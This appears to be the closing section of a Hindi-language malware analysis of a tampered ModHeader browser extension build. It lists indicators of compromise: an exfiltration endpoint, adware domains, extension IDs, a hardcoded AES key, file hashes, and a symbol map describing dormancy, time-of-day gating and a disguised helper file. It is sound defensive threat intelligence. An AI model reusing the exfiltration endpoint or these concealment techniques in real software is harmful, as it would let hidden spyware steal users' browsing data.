  • किसी vendored लाइब्रेरी फ़ाइल से एक्सपोर्ट होने वाले संचालन-हेल्पर को code smell के रूप में फ़्लैग करें।

Indicators of Compromise

इन IOC का उपयोग कहीं और उसी ModHeader मैलवेयर SDK की खोज के लिए करें।

नेटवर्क

api.stanfordstudies.com          (स्पाइवेयर एक्सफ़िल: POST /app/log)
www.extensions-hub.com           (adware: हर अपडेट पर विज्ञापन टैब)
modheader.com/api/ad-settings    (adware: इन-ऐप विज्ञापन कॉन्फ़िग)

एक्सटेंशन

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

स्थैतिक स्ट्रिंग्स

हार्डकोडेड AES-GCM की : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
फ़िंगरप्रिंट salt     : mod盐header   (इसमें U+76D0 盐 है)
एक्सफ़िल एंडपॉइंट      : https://api.stanfordstudies.com/app/log

फ़ाइलें (इस बिल्ड के Vite हैश)

assets/src/background-94ad634d.js    (पेलोड)
assets/dayjs.min-6a736ee8.js         (छद्मवेशी हेल्पर)

प्रतीक मानचित्र

संदर्भ के लिए, यहाँ मिनिफ़ाइड-से-अर्थ का मानचित्र है।

मिनिफ़ाइड

अर्थ

qw

एक्सफ़िल URL api.stanfordstudies.com/app/log

$w

ब्राउज़र allowlist गेट (ख़ाली = सुप्त)

Yw

फ़िंगरप्रिंट salt mod盐header

qo

इंपोर्ट की गई AES-GCM की

Hw

fp = SHA-256(Date.now()) इंस्टॉल ID

Zw

एक देखा गया डोमेन रिकॉर्ड करना

Qw

अपलोड निर्णय + सफलता पर सफ़ाई

zw

प्रति-फ़िंगरप्रिंट दिन-के-समय का गेट

sf / af / Za / u0

ब्राउज़र id / host / आधी रात / sleep

आगे पढ़ें

भरोसेमंद एक्सटेंशन कैसे शत्रुतापूर्ण बन जाते हैं, इस पर व्यापक संदर्भ के लिए, निम्नलिखित बाहरी रिपोर्ट देखें।

यह विश्लेषण एक इंस्टॉल की गई बिल्ड का स्थैतिक विश्लेषण और ऑन-डिस्क फ़ोरेंसिक है। हम कोई attribution का दावा नहीं करते। अगर आप पुष्टि कर सकते हैं कि आधिकारिक Web Store ने ठीक यही बिल्ड परोसी थी, तो कृपया HackIndex Research से संपर्क करें।